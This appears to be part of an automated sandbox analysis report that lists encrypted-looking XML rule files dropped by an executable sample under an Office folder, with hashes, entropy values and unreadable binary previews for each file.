Preview:	<?xml%..............{0JX.....,...`P6..L5...Qe.9..N.2.G.A.......o..B.x..v.X]X...k....M.ojd.9.R_.5....u.a..)9...t.....p....\.(.....,^...&..D....._\.l.i...+....O.P.!Si.....A...#v..m...{.....`/.A.tP....t....%..\|.". ..,.E.S~.y`l..=Q...{L.@..g.!\a......\..- .V..y9..Z...E.I.!...>..5V1#r.lji.9.+,W..>.5..VP.E7.^..3<..R'9....{..[lm0Y'J.8&;...........-...\|H>.M1{..%m...)..Q....4.. ..a.?5E.+.....).....!n..BG{e..w..55.........!...........:..(...k^RJA.....u...%\.0..z...d`..h.Z.C.9...lh.U.=t..\T8_.u.}.wV.vE%....A...W.....%F..a.O.\..H.\|.u..(.x.C.'Nb..?.E.....>..Z)..'e..kg..yU.y<..br~.w.jgP4m.TK@....~K..}HO..5={.K(.Y<Z..=8w..G%O..].Q..0..hCI..4,6.NEG..T.Esxlv.R...G............~.@G..d2....T....="c;".:..El........0..W..d..r0..p.A{.Js..n...8.5.20./.B..#.\|$VV.N.Q.$O.<....0....`...i.#.r..d...hU.cH....a...0....x...O].cxV.....P9e.G..].a&(.d..m.t...^.)..*.....\|..q8.B..SBD.-.R......$/..a...0....!.P...+..D.<I...r.....pG...T.w......y..6.E....0..).G%.h.3.x..0....U..T...t.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.8925198077677186
Encrypted:	false
SSDEEP:	48:flHG9dWORAUNo5z7VAISUh7ybYqX3oEXFuED:dm9dSvVAzUioSFuQ
MD5:	2F0037C075CF70CED9B64CBB4F6E51D1
SHA1:	A8A2839FEDEDAADE5A577FE233FEAB3B538618E6
SHA-256:	B3026BA2BF239A649E47132451CD37CB65AEAF23FDC66151715187E5B47730E6
SHA-512:	5DB87EFEB6950939EE9CECF5FBC3D7804502A51178786BDEBDD2F3D3FF43BA66AFB0AE302B38851FCF562B2F2A33CF19765D07C5F2DD9E179BA650E3FF3E49BE
Malicious:	false
Preview:	<?xmluZ.FQk#............T.(....(.2...c$..K..w...D.........).dge...c.e.$..IP...K.M.3.G...L6I..@.pi.....f..x8p_5es...e&....6.....fjO.H...}..<._6\.i...}...a..Gbq.Z...X...=.0....1....<F...c.c........'.........wb.3...{.2..C:...+z.>..)9.Y......i.....f......#.....:7g.Zk.k0..GVk....VZ1".Gx.........K...Kr2+..F.p..B...#...\.;..Cw.,.YH...FO........m.....+....%.g...#..i>.I[.FV.JsSc...f.\|P'.......Ig-.(YM~..........Y\|...S.\.Rdz......?..v.......Y_.8.X..o....zZ....G............3..k.^q.$B..c...p....O.L$.<*..O....T..\|.n...S.....@.....`K..@'{.z[..'..Qe={.83.n..M..<.Y..71...H..r...16...A......qYWd}.AU...z[..[......8....).....=^......t.R26..^>....rq.tr...e..C.ur.G..&'.......&..QA....?da....c...Q.....'...H........p......K.....f..v.._..T......_......\|d.t...(m.,.9=..I3...<;.H....&.f.d..NS...3.....]...x.........+S...H..4/.h...P.u...}.:....zw.O.\|..4.......P..>>.k..^......\..(..evpM!J8.\|..B:(5.Z......Gf".K.s.L....(......{......Wt.6v........0..-........\|mB

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.8613906552554385
Encrypted:	false
SSDEEP:	48:MkJf0Zs7f6sqFJPP67+1B21g1x6t771VPXFuED:MkYwf6BPQO21g1Mt1VPFuQ
MD5:	37193AEB7C52ED5F61262FA3A7034C8E
SHA1:	C8304D2498D7E040732C2AFB2890318C00B91FA2
SHA-256:	B645992B406E797A60A93C789ED3FA424BED534E8138C8BB4A7E89C42E161AB0
SHA-512:	0A2A5DDE4E9F29763B7E67BF09AF918D8263D96ACBD723A2491BDA9DD8BE85BD8D2E05B1DD6975082CD92FA8B5ADF8E2B2C2B0245440CE0979E85E099201A6FC
Malicious:	false
Preview:	<?xml...ip..oP...m.U.m.Q+.kAI!....y.d.?.....?}..f..s..9"D...Y.b\$.\|k...8;.f.M.....9l0..}Xl..z.`...5;......P..V\|.eG< k...N\5.dR....G.T6-.6.....=..b......u.,.....SddS^7...D...h>.h_...8.E'lp.._ry..jv.}{..z..h.H. .8.\|.}..7.\|..rpP.....h.P..c...L.5.....P.pH.{..4...%9..L.o...-..;>=..B..-.F..-.....8s...Po..].W....@...k\|....ws..?..z.....\.:.u..p..C..h....#..jU...4/..Pd..;5..'.5......RE.AMu.........k....Dc...f..z....5Lr.r..HbQ@.&..2.r@zE.zu(y.........y#3"......Wv.8.Q.\|DS[.F./`........&.&.1-Qx......8..uv.:]vm.1..h..B.?.,Y.b.....v=.f...Q..\.2.!.%..v...P..x&..mV....R...{/wS.b.....w.\|.-<.SR.h.'...../.....B...(......ZZ.9..7........YV\|..L.N....?;g...k......! ..!....}.Y=B.[...[.z..........h.X.X/..x..<7d\|.W.{:rZ.C....`.X....A....Y\|Z...R.-G.:.29.h..'.......A..#.z..!.q..zx.g.....^.o.o...@.8...2..N.&N.R..9..D./../.W.M.TNm#.)..$..r.#\&z'x ...tD.Y....X..xk.+.Ic.U1.#..x..`.\|!}.L3.J...)#?l.?.!.JB..S...<..'\#'V1e..`..uE...^.......v..}yo.+....XV^...>}C.5..R

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1775
Entropy (8bit):	7.897689041082166
Encrypted:	false
SSDEEP:	48:2163A5jJwhjVOuTUvhhw4Q963fdUAczKCKFA0j4XFuED:2Y3AHwDOphSTGfdUlzNKpjeFuQ
MD5:	00CBB5014C90FC9DAADD9EB48815F5B0
SHA1:	8F082C18408360EA3365E978DB560EE4516A2481
SHA-256:	FE289C1B8CA9D8D4B7999AA41A2F865D4F62FFDD5AA989F9313606E72798C4AE
SHA-512:	DCF2F57851E71A02A7B7204B95144FBBD0ADE69CE549A982B7F4A7484D11D10CB68524BBA949FDBEF3A0F03427FE38C386C5CA535EFF2B7CB3A34562B1557428
Malicious:	false
Preview:	<?xmlN.+....iU)....VK.[....W.".WX....;..B.q...+..f..g....+\|\..M.W]q....a.$.s..{.B........eB....:.Q6._..w....Iq.A...t.......3....6!.....(.z\|...<f+...9..=.l>r.G..r.....EkU[7.6.......2%...Q[..i...Y].4.%w.."....B6...4....y...]..:....C..Oi...\s.X..\|...4..)9..\|..h...f@.4o......05t...C......^..R......k..k...75l.......w....7...\|t...a.Aq....}.8.....=.....w2..d.u\+.B....I...>.1.A...<.1.....^...S...'..U.Q.G.9..cof.....-...U.u#.O.....H.v.....L$e...._....]...)..Yn:ee.._.e....:.)...Oo.....N+g..#...I...g..:.tU..'.8..b...%..Y.K.*;.C.i.(.}.myrv.L..qD....J.....#/J.......J....S.:.O......MX..Lnk......z.i.....>U..^..le).U....qu......+......... ..{.0...V......C...&...9.m=.bM!?v.......<w.e~..R.w............S.......hld>../.S.^..r\|._...rr........7.....o.%.}&...p.~E.f.$p.wP..)..V..L.,B....c.R#.r.......u~.j~."E.............7.4..w&.,...o.-.5.g....+.WR.tM.@.<.TW..&%5]0.vH.o..D.=..p. .m.\.I./6.q ~`...\....)....V.S....xh\|./Td.'.`L...F.7..'..r.K.V...+..T...w

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.8744865325303035
Encrypted:	false
SSDEEP:	48:LC5ShlZpJwGMzaOHmYX5p8Q8WSA2ufo2LEjI0XFuED:LCAhlZ7wGMz1PX5yQ8WSA2izSICFuQ
MD5:	36EC865B2827B0A41FB0D47DCAF58DA1
SHA1:	3D49B7FFC506792013B861CC70E108AAF466E459
SHA-256:	0B464F8359F0F173B1714CFF12111BD56F000973B62D2EC423817819BDA0AD3B
SHA-512:	FEB85C29BB050A78DCAE9AADC09C8DFC2D262A4E1BD1FDB1938C39A13C0CFFBA6C02BAF2CEF4236F49797EF202970227FA6F5E654370EFC6B871EDA3B28D6158
Malicious:	false
Preview:	<?xml .........Nv...X.n...=....%.i..Z.\.....RIE.....:..'......@..\Q.&....... ..:.#..e...r..u...l..A.5...3....h.o.._P.....W..:.3.t...N...y...9.2{.f.Dl?.OM{RSP/6......V..r.......lH...z.ny....."CJd@fB...b@.]7.DX..m..Q.@..)......07......#..D$..P...g.n<.V..H...Cw'....K... ...6v._..!...m...f\|......)RvO..m..".....J.%.....B.+.z):%.7..3?)9....{G.E....2.4...........x..M....7.w3.....H.(...../.....F..d^.~ 4.4...l..9.2."".).9.q,(E..O...p.s.k..!+&x ./.F..q../.\&V..I..@G.\.V........f.".......2,..(..?.W.s.\.3Q.JIx...65.dZ.X.'x..j........t....y.b.c.?[......>.....M.....m1..]~...]...I........w...2..7;.7.%^I....[...^..r.....M.+..?....C.......//dD....s....\|.x2,aj..0k/....i.....p......>7..o.%..fp..O.g.`3w=........_]..H.pU...qV[..t...(..(.J.'.@(.)".\|.....{...".F........F.........5...I&...G. ...$;pOz.A.N.. AwH...]..9Fl....bH.ObT4..i.d.r..9.#D..aV;g..ngjF..<k3../..*}.5).{......../CI.(.....?..8..FS`.....{.........._..RW#q.y...8..%.!35@.J.t.x....$Y1.U`.z......

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1760
Entropy (8bit):	7.882233849227237
Encrypted:	false
SSDEEP:	48:uoJTLolcDp0Nar1p2B8b53nm4rGqt/QnUdaEXFuED:ZL6cDp0qb4O4G4UsSFuQ
MD5:	F0E48E12324164E02E684018EA4910DC
SHA1:	607D9253CA984BC58DCB017BF5F3444AD6BA81CE
SHA-256:	DBC36C3EBC0147DFDF30FB57A30048B0AEB1C7246842468964A51F2881921CAB
SHA-512:	33E88205E13C1A5A31DF394A9BFA6CD6268A0C602DF06FC960466C0BEA8EFF5395E3B9D7A3CF5CBC6CCE32A8E7634AA9F58946A24CAA99BC452836D6B46C030D
Malicious:	false
Preview:	<?xmlE.K.k..../...Z..=.N.F2.J.pl....W4r........8...v........}A........L95....38..(.G....y.5......../.b...p+K.K.a......z....j8..v.B=.......5..-.....Y{0{.i..w:.....3.....w..\;..5.........3.#.my.E.....C..Qj\|>.v.:M.#....bAP=M..J.G%25..B.f...-..?..#<.).I..^.>B'.....D..dxC8.I...9..B....B...ss...,...d...?..3..ex.ln%......6..J..Np...O....$.v....."._.z...u...ia...I..[....{O....{,.5w..H....h-..Q.a......V.3.`s..]I.S..U.I;.....T[s...(...,..~Lpp...:u#TZ.\............d.....j?;..............`...(WB.%....T...F._...W..2.3...+..>E.wM?...\|O..o.....Li.d.e.1.....D......"P;}'[...........U8.x$.w.q...(."9..-....F.F.....'U.J..1.........s'....gv..?G.c.U?.!o.A.]."z\|...@..^*xMi/..:[^CR.W..@......5.=....Qk..J.=$.......,...x..c...,....S......'....Q\|7....b..;.9.d+.tb......j....G.GH...../8.O....X=igL:.1u=.9...../.+............E.4....Vq......bDv.5@.c..5"..X1-.4....../:..m#...{~...<$..J..`Q.1./}....b....j....L...c.oqr..._..\|:.0X1{.......'......M...Xv<.E.I. ...\

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.872669726422832
Encrypted:	false
SSDEEP:	48:8xAT79uarr7TGhcXiNIChqWcc21iCB61VJhdBtefLqrZw7XFuED:880arfTCWiZyxsC6bJhdBfaTFuQ
MD5:	9D65FBBE6B8CC9AA847FB990EA97C921
SHA1:	29F7AECC41ECE93FA6588C84A1F2737255018D2A
SHA-256:	22BB462506BAA4E10C4965F89AF51C3E167555075CFCFE796DF961412F2D5E08
SHA-512:	781C27D8E2A4E3CE3068AFC809277BCA5DD7527500420EBEC405E0E8BD7F6959C48681AB4FE5B614C6F356D5FAFDEC3AF42C67EB343F1C7B30F6CE6AE6E09116
Malicious:	false
Preview:	<?xml...:..>4...K.eD.`.fm..tF5..>...g4....1.7..q...g3.}N..2..$%.-.iLK^..1.`.u..C.ni"...<79.{.:.......Ra...:..m.<..DF.U._..".d.x...........'0...P.<...-R.;.OF..7.3.f...N..l.R..#.<.l.m..$...`e.i..F.wc"...~H#.\H3.>.K....c.S..:...+eX....0..1~%)(..)%nR.....s.l. #p.iy...,1xM3.4j..]....!/...P.f?U...w.D>..c.....q..9.6R.....1y.DE..b=+oN..H.Pg.3..uS.Qn.&....h..BN...KJ.{........u.W[..7...k..L.@.h..H.X;.d^v.C.,.c.......... 0$....R.M...Ts.k.."D...b(..w.?.......0.u...I.39....\>....%4.....=B.......R..t.4<O.t..2N.M'.b3v...p....-.,..MR`...q...)...k...?....B...e.....^N.O......r......(.$.......u?K.f.Hy....6...]..9...'...5q....r.3d._.B....N.Hy..F,.`.@n.....E......z.?..<....e..\.RLW....w..C,.1.......8.+..@TS.]....p)P...HXP..FO...]V.l.....V..4.c[B1..y.....U(..[G[.....&....P.x<.o.@}+...Xl../....G(..C....._.F..{.M.....\|1O!$...z-+...Qk.....9lA......g.JX..B.R[...Lf..!..p.........&."..-g..{0oc..p......:...iI).\.A..C!,J..H..a3........9...O*/....i.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.897703078839121
Encrypted:	false
SSDEEP:	48:mbK9arozJ8tPOpv5y650z+kZUFF16NE2Dbo0XFuED:mbKwrozJ62v5y3gpqboCFuQ
MD5:	3E8754AB44B8B680204B14EA23BE3230
SHA1:	7BA5251D3AC1C613706457F131CB407F5F1EE6BD
SHA-256:	F1E02699456C679CA1429CA1817643AEA172CCFA78CE5D3C3378F307962E51EB
SHA-512:	761C20B22E66B303525AC3E13717F312FCEF54A0CC96F3C350351FF2941A4ACD9324A2F7A2C92CDBA3C85F2FBA8CBB0A0B998CAB061F180526D29D3C8B631AE1
Malicious:	false
Preview:	<?xmls.V..G...k.;:Pi....boD.a....fti^..Z\|....A...@.0'.....1...FiG.p.T....H7B...h....69.s..mw9.q.u.......F.jmX..s...:..V.w.L....... .t...ZE.........._+@.k}.<8I.Ij. .......X.n`...a.<0..K!z.G..>...z....j_.......Z..mx.H.$....O.......`....".>..>o....2.......R.;......}.Z..p...}...X.,..9..'X%...`..3+..V].^.m...uK......h}k...m../%g.V.S..b......X.+z...,..N....[v.E$.x..N......y&.:(x..m...v".BO.P..6...':..I......H...D...FI..N.....L^..P..Z........T.D....\...!....RMI.A....w..9.Dt.I.8.a.I........V.......5...m.x.mg13.lG......u.M..F...X.<...I......N.U..>+.&...9....R.....6....i. ...%....]3%g\|......0%..l..u..'...G...%.W.E.....IX.%.b.V.....=.n..G..b.uf..z./X..e..x...x.(........1*Nb.{!1v.B.EAw.\|.O..v=.n.....1...P....+mm...m8)'&.>..zS9K..7...\|...Z@EQ.L..+..5>..kDK.N..%..6.?<...i.i..;_D..`L.AL[+P.K.y...F.E......=.y4G.{>%I........4...s.;....#.#{5..#......n...!...a.p........0...DmY.........4........c.@ad4.+ED..4....M..~.+_..S....P..2..h...-.qZ.$6.9s....

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.893505561195806
Encrypted:	false
SSDEEP:	48:nVFL+lJWrEXlZew7O2OGQGlipaM2PmGeoWXFuED:nVFsJe+lbDbQGlipmPmH5FuQ
MD5:	7B6671FDDE7352A789301443B9F591E5
SHA1:	40BC04891433909078A652DA58C62493E6E9F5FA
SHA-256:	55682BCDE3CCCC3B759AFCD6B97148058637B38FBE3DF63FC08848242DA02101
SHA-512:	C9ED2944C052F3BA33A462DD33701C9C450FD58D0D1EA69776BDAF19E6AE672AEE0755DA93EEB856C349727E3C891853FC468F652FF2BD15ABE83B56D92932A9
Malicious:	false
Preview:	<?xml.B.._.Z....?.q...h..x..i..ZsuI.......F.....6...gu..w....>`{g...M...@..z. \.8v..A..j.x..Hp4vb..vC..j"p~...6..h.G%..M.....c...(.."....Fl.k.[n..SH.D).,4.&..G.P.(.H.y...l.P.....\|h.%.r<..q........W.#..N......v...]...M@r.o%...=...f@..:.q.tQ..nz._<.w....\|......b'.Y..W...P....8/.A$...H(..8......y9kg}T..4vh#....!...:.$..^(.J..(...e...k..0..so.1....l.Ar.O..a.I.... .02...8......J..3........_..z.r.+.........'`FCN.....&x........x.P.GSB..F._q.....{=.... 8..mS.O.}.01\|x.u..{duw.3;.K7......"'1@...z..@...I.>;."Ve.N.>D)...J.K.Fq..Oh.Z)......0m.P..7d.8..L...2..}.2c.N..o..rT..vV.....AY.....b<U7.....1.........K.C...E...f..]...B..8...\.?.k...).....<l.s.z....Y`..x}....^.ilD.g.\.......V..8.Q5........C...{...A.p...Q.......2...L.4y.%E...CR....V5.._.L...=.9...h..(&... 0.....HYZ.T..2%)ot.U....g5.)..A.L!.A.=...i.....n...:......$!.Xw.>x4>.........X..c.....6.....:!.T..({...Ma.t..B.*...q..._.........5.. d=. ..c..&..+J...S.0.zxC.%8..p.hf.K.l...f,.V....

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.877790415587783
Encrypted:	false
SSDEEP:	48:1LOVdskoT5qy2Rf92uO+N7PBbJWXplT2EsNA7uXFuED:1AaqyMf9PL+/GNA7MFuQ
MD5:	1AD82F161F99A595ECABDF162E7ADA61
SHA1:	90D72BA065D6D27DE59385D5F7A204D29322E56D
SHA-256:	6973CA6427E3DF084C431813BCB20D5DB83A04972CF90A3CD6DB0FE0BC199556
SHA-512:	B001DE25D94DDF46BF65DE790E8460ABC72D10961B20DD92EB12D0115CDC500A1BD1B4F89877E70746E742D2B301566462D89739FD8DE7770F666C89A8413578
Malicious:	false
Preview:	<?xml.gq....{.).Mc.I..?.F3.Z`#...$.#n.6.-.9..k._+.F.lL_..._.6....I.:.._O..P{.`..'.T.v....<...z....U..p...ZdfU...;....4.=......M.g.^.h.M...(nz..2......\|b\|U.HE.0.d-.!.6N.\.C...7...b.h.g. .............d.6..+.h..z.Av..z}..Z.ef].H.sB..2....Y.1.h.KUG..Bl..w,.%.].>.4..R.M.=u3(...(.....2..k.=`A.3.......;..>.z.S.I~.z........iB$...Wu.s....^.]Z.D.\|./...}.hI.......>.AOi@..t..a......"v..i.U..mY..m.2\"uA.~....0...dOn2.....N..r....%.....J....&x/x".<....SxU.!m..]i.?..y.lm........u4....C..`h.%.L..5......!..&.....7z(.R..C..F...rEv+.l..@^........'6g.D@1.Y.nQC.kd...yZ.I.. ..B...:..].k.G.=j....'...&K.l..".hh....Yj....0]..Z.f.q`,}.....p...F.......e.D....@........!.........v/{.....83..hU..s.d...9..AN$.]B....6..K......7.".... I.SG...^[.....J.I.G...^....p..{5.1).^;.h[&G....&..gTb2'.<..t.....s+....F.6.tt\...]..........)..`<.2.Z.q.gG'..L.....h.....'...w.~<m...*....V:.vY/.(9M.l.<n.\|..G..\|..'....O.........6...j..o.E....'.F..8...Y....dd\J-p."B-....x<.Z........b.0<....y.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.871569855669922
Encrypted:	false
SSDEEP:	48:53ppB9fnWFiDiX/USbA5Lvpb//yj8IQthMxGdJ4fGHKDuXFuED:53phPCgSEl//yj8IQthlJ4fhMFuQ
MD5:	44B4F855B9BA6F3CF55FA26672751D37
SHA1:	E65B79BA1BAC7ADC7F45C1691284FA36A0CE63F5
SHA-256:	6C0A656FBA8C186277BBA2E3024346555AC2F031CADBDC692F8A7AC02AC8D49F
SHA-512:	720A4AAABF220DCDFA6AD1F406D73718E1030B9DC623B038E9F9145CD88C893D806FAD34A087C8489249D2FE5E55C8E7B1318B29408C15F91C76ECC8C7F97CC6
Malicious:	false
Preview:	<?xml..u.h-..W..CV....a...4^....B...e.q..M.w$. .k.Ep..R..>..f.$cg.^eM/.~...>..>t..\? ..=u..7d......p.X..6....a..2`I.....k...>C.~.\s\....8=..=..OT...R.B......HEg.^..h8]Y.{`T...:H...o.0....E....hE.T.D.Ez=.UR.w..i..u..}A...........a...@.=k..U....TY....^...T9MJ5....}.R..<.`..u)..S.#A.WI.B..-.kc.!.%.{>c.9.....k.E.k...."..j..).._.c.8.EO..a~..z..`.Whsf`).5=.c.[Jp.....}......#..#{[Z.S=../.v..d..."V..".)......]$..I...........t~.g..R...SF..A.q......z..)...L.bi..{.HZ0...Z"...."....+#..0.,.6....V.....p.r.W.....n..r..r......m...A).;.%W...m.+d4..E.].W.t.T.ugO..j.\....9...c.w(.'>..4{.A.......&.k..n..v.G..T;.L...lCY.?/....Xm...q;l.lL....xK+..."...F8...j.He.aD...G;.&...u...[l.'.......x....v.5d..: ..s..2agz.G........O.9B.u.XZ0..G..H...b.....4..0.\|.....8Mut....N....X.... .6A.tEGFB..'.!.Wj...z...+9R..d....10c.=....yh.z.&.. .yJJ:._..D%.L...i..5N1.9...^7.X....o3.B..%.3....n"....cm.<N.h.............vF.5...7......t..n.f..E\3...n...K.F@..m..,;6(Q.vbV....

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.87303725482564
Encrypted:	false
SSDEEP:	48:6QeeWqNEoWEJvDrE1HFrkvNLeVMkiI/6mXFuED:IeW+/Ez+LsgEZFuQ
MD5:	CB9A25BEC25EDF75AB0CFD2B6909177C
SHA1:	7DE80077947E264C3BEB6F55AD18656F94DC00AB
SHA-256:	3595D43DB8C846BB31A21ED137E8EF234F6AE9CF40047F43CA01FDB63B362847
SHA-512:	DB99C381C2E08AD0A0D3E8100F551882A23B5D92473D7C977976EA5CB4C49554D5516F5EA4A8575D11446F214C1B3FBD89A8BA8B29D48E2071A2D0AFCCDED2C5
Malicious:	false
Preview:	<?xml.......a`.'..<Q..n{..Ey.Y........>..........ce[.....(i.p..i9..^...k....p.Y....9...J....m[X...g....P...\|+.+.E.ZI....O^`.y.{...!!.h....a.y..Y(P4`...;&M&xh{..Y...:.N.'..(./Qt52... .'..H..a.....f.......=.dD.1.>.$....i...q...]@H..$l...^.\......+....y....'....F...=...........i.b,...>c..)!.T...D.J.C....37.. -Q..;a.f..2.!.Lx.VP3'y..c.D+.....(dBu..e..cL.:.Sj...QZ.Q.n.n......~a.....3..[.%.f.,-..:q..4.....]}..T.p..0u.7..1r.....X+..#...N.>.z.W....:..^..X..Ko.....q.<h.....g..)....J...io.......T![ .6.hs..\|#.2b.\|;..0 .I.1...8..rg.,a.e.ciW....V....;.......eZG....K99..4~D....&F...Z..{e...I).....]<.IgF..l...F....@......S.3.C..b((....m;\|VF..h.........4.Rc..0bo.............-o...s.k.3..z....^{.ha'.........UKT.\|......^.\......5k..4M..."*.W<....g.5R.{..C...ca.K.7ft.t....N.......A..m.!./..Y.<..)....6..t..D.$.l.7.....p.;...........r-,H.,4:..Be)...m...5.u..e.I2 (..:J..\(..._..yk..K............~.<sJZ..@.!. .~..;......^f./.X.^i.7.=....F}..6.T..V.D.'....(...?q

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.881618529122915
Encrypted:	false
SSDEEP:	48:qMy6odFFluSHtf/hb4/sJUcfSbRc2lHSsr8iQXFuED:TCFFluSZ406cfg2QSscFuQ
MD5:	5DDB6A35C404CD130CA0B1D77CACA856
SHA1:	4CC9DCA0BABBC84B48287033F313B8D7A4586F1C
SHA-256:	1D4E2D6978A922879FBD4B9809F3699F02B6CB1C653FF9AA38EEB4D4335E0168
SHA-512:	62F162C3566830F8309A1FA2F6A6BED996032DA38AA0DAB15E98EDA6D3CAB53400608DE204462AE5985A1BCC463CAC19E1A5D954D3685EB2EF6207C2FDFB737D
Malicious:	false
Preview:	<?xml(..f.>c.g.....+..........Np.....K..R..4QT.fE.S.-....+......N.y)-...W...z..w.Y.}{:...l..9..V.>..m.r......#8[.-...>l...v...hTu.....x.=..u.]V..z@.E..../.....S..a6.-.Tb'E...E...m.Iz.....a...Q,I..F...9..C1...Ev.k.Zx...nR.'.;... .02.jx=...t..]".....Y.K.a.cI.c..5..!=....".j1...F..]....d^...N....;....DR......!.s..r.=^.K4...OXJWQc#j?G:...fL./.. ..dr.yR...f\..Vu.W.A..wc.cG.?..#.y..O@...9.H.1..M.E+..,.h3/Z.A........Z+.V.e..9..A... ..J5.1z....uR'.yjT#v..S.....j._.H.H...y....?....',.\|....jV.O....u.Iny...Pt.8....0....:...b...zv.\|.S....c...(p..sR....\|...l..3@.fdS..:....2<.....L.......m.=...D..o3...f#.vF)#".FM....[..N.3..?....7=s...D..H.=/.o...+..M.s..Rw..`Ni.......o`...au.[[`.....I...F...o..'`.$.V.Yv..qBg.z.-o 8).%~...t.lF.hx.;!........\|%..6q.>]~...c.?.....N(..oa.@.%.r.ay.$..{.;...@.e.........L......W.z7.F..Zs..o......0[..'.5.P.=.V....aP./4JT....vUA....Rj...i.7{".i....,.Q.o.}.....2...j.kI......m...=.1<..4..i..2Oi.....z..m.7cp.<....}.d.n9)

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.887987213781811
Encrypted:	false
SSDEEP:	48:3CAjNtMCaGlE190M8G6FIvHkuuasOm9r1ASzFlbXFuED:SAICZ1KPvHjOG4FdFuQ
MD5:	89C3612C302C96D0D4159E5D4276F993
SHA1:	01C948220AED0F84B5400149EC42966E327FD39D
SHA-256:	82915AC6572E861D0567EEDE9C28847C2086B42AB7FC8DB946D7E82B4629EF0F
SHA-512:	D639C040E606AD0046CB7A48B32903E751F7FE14F1738E78683D0E0A462F019A3C802E91EFE18BD2CCFF58973F47D6898F7E684B400E8700D50AB9F606163FDD
Malicious:	false
Preview:	<?xml....G.3..41....Qu...:...+....+'p!xuo%8..S..;........re.Ee.])]_..[......F......[v....}....x'.Q..)#$0}..6./cl..Z.\|D.{%....,p......{......0WD.E.=..`_.#C:N.T.l9}y.`!..5{.rc..yW.....X').FQ9...s.8Nw.$.x....FQ.h...V.......h..J...H(...^o..B.....n/V..&.....*...8.CU............)=..u+`. ..{..>A.#...%ryR.....h....'.x)s..R....'.5(^J.:..y....8\3q..o..D......GK...~...y...t.y...A..F.Rw..I.6.W.........y.\|.......Q.[T3.U:.J.=._+..z.......$....e)4K...]._.=.f....Ar...2.T?.g.q.U....~.D..R:.v......4.v-.(.GC.?..i..-.I...GL.T>.)])X..c."=...;.......e.}...n.....4!..X.../~.....\|...3.....1.eQ...\|......Z0z..<.fs..;.B..H'x%)N.l..o...4a.........5s6.9.b...zz.gi...li%....w..1..Pg..X...X`._.8...._SN.q.w......%.$...(.-.h..#L+.Q;`..$.pT..Q..u.O.t.wa.............O...'.0...Eq..{.b..m......z.."/.....b.&.G..+..e1...!...@2E....."...n>.k.b..%\|9..U..$/....E...{..r`i........H....%.SD_.J./.LG.V..ng`..A.e^..V....7.?%vq.......%_4[.nK.=Y.z.....d\|...j..3.I(...4N..y...K.^].&M.6....

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.879895493032194
Encrypted:	false
SSDEEP:	48:oLB9p//18Xt09rzxz4TpZ3wzpBqhCn5RXFuED:yV89GzoHwzpACn5RFuQ
MD5:	9271B5E685253A4C254ED46E8FCCBD28
SHA1:	DC944F48B26FA07616ACCC1F231867DD9A987F97
SHA-256:	CF0066DE53525F92A59269D3E498F5957473D5F1B5B1B6C2A348C095B0544BB6
SHA-512:	3554436305A6E824152AF9573A66BBC749549175EA92EC9B398D40AE915B4EB42FA0CE936B3D90AF00F2464333C13D3DEFAF2BAFF776AEBBE7CC833969A775A5
Malicious:	false
